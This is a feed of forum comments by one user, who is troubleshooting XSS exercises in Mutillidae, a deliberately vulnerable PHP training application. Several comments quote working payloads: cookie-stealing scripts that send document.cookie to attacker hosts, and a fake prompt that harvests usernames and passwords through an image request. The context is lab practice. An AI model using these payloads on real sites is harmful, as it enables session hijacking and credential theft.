Disqus - Latest Comments for Yaggi

Re: Mutillidae: A Deliberately Vulnerable Set Of PHP Script That Implement The OWASP Top 10

Yaggi — Thu, 24 Sep 2009 05:37:20 -0000

My question is that when using Password Con XSS script, there is no pop-up box that will ask the username and password

Re: Mutillidae: A Deliberately Vulnerable Set Of PHP Script That Implement The OWASP Top 10

Yaggi — Thu, 24 Sep 2009 05:28:36 -0000

Correction
Using this script below, the attackers machine is able to gather the cookie information
Cookie Stealing:
<script> new Image().src="http://attacker_IP/Mutillidae/catch.php?cookie="+encodeURI(document.cookie); </script>

Re: Mutillidae: A Deliberately Vulnerable Set Of PHP Script That Implement The OWASP Top 10

Yaggi — Thu, 24 Sep 2009 05:27:43 -0000

Using this script below, the attackers machine is able to gather the cookie information
Cookie Stealing:
<script> new Image().src="http://attacker.hak/catch.php?cookie="+encodeURI(document.cookie); </script>

but on this script Password Con XSS, when I view the log of everyone there was no event or pop-up box, I mean that in the tutorial there was a pop-up box asking us the username and password then the attacker will get the cookie

Re: Mutillidae: A Deliberately Vulnerable Set Of PHP Script That Implement The OWASP Top 10

Yaggi — Thu, 24 Sep 2009 05:21:09 -0000

In the attacker machines, I setup the same like the target (but leave the httpd.conf default)
I put the Mutillidae in c:\xamp\htdocs\Mutillidae; so I change the script some thing like below...No Box has pop-up

Password Con XSS:
<script>
username=prompt('Please enter your username',' ');
password=prompt('Please enter your password',' ');
document.write("<img src="\"http://attackers_IP/Mutillidae/catch.php?username="+username+"&password="+password+"\"">");
</script>

Please help

Re: Mutillidae: A Deliberately Vulnerable Set Of PHP Script That Implement The OWASP Top 10

Yaggi — Thu, 24 Sep 2009 05:16:57 -0000

There were no images, should I download it? where?

Re: Mutillidae: A Deliberately Vulnerable Set Of PHP Script That Implement The OWASP Top 10

Yaggi — Thu, 24 Sep 2009 04:42:33 -0000

I have trouble doing the test, In the Mutillidae file there are no images like making the clippy pop-up and password con did not give the pop-up box and the Form.
Do we have do download all the images? Sorry for this noob question

Re: OWASP Top 5 and Mutillidae: Intro to common web vulnerabilities like Cross Site Scripting (XSS), SQL/Command Injection Flaws, Malicious File Execution/RFI, Insecure Direct Object Reference and ...

Yaggi — Thu, 24 Sep 2009 03:30:19 -0000

HI,

Using the password con: There is no box pop-up to ask the password and username, is this another image?

Re: Mutillidae: A Deliberately Vulnerable Set Of PHP Script That Implement The OWASP Top 10

Yaggi — Wed, 23 Sep 2009 06:18:24 -0000

Great Stuff, I wonder if you will be posting a video how to audit,attack,exploit Mutillidae from the backtrack's W3af framework